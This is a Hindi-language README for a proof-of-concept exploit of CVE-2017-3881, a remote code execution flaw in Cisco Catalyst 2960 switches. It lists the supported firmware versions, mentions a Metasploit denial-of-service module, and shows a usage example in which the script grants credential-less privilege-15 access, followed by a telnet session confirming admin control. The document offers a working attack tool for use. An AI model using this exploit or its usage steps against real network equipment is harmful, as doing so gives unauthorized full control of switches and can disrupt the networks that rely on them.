PoC-CVE-2017-3881

Cisco Catalyst रिमोट कोड निष्पादन PoC

यह रिपॉज़िटरी 17 मार्च 2017 को Cisco Systems द्वारा खुलासा किए गए रिमोट कोड निष्पादन भेद्यता का शोषण करने के लिए Proof-Of-Concept कोड रखती है - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp

विवरण

एक्सप्लॉइट लेख: https://errorcybernews.com/2017/05/11/cisco-systems-merilis-update-switch/

RCE एक्सप्लॉइट कोड Cisco Catalyst 2960 स्विच मॉडल के लिए उपलब्ध है। यह एक्सप्लॉइट फर्मवेयर पर निर्भर है। दो फर्मवेयर संस्करण समर्थित हैं:

• 12.2(55)SE1 C2960-LANBASEK9-M

• 12.2(55)SE11 C2960-LANBASEK9-M

डेनियल ऑफ सर्विस कोड एक मेटास्प्लोइट रूबी मॉड्यूल के रूप में उपलब्ध है। यह Cisco एडवाइज़री में उल्लिखित अधिकांश स्विचों के लिए काम करना चाहिए (पुष्टि आवश्यक)।

उपयोग उदाहरण

$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15

लेखक का धन्यवाद:

Artem Kondratenko https://twitter.com/artkond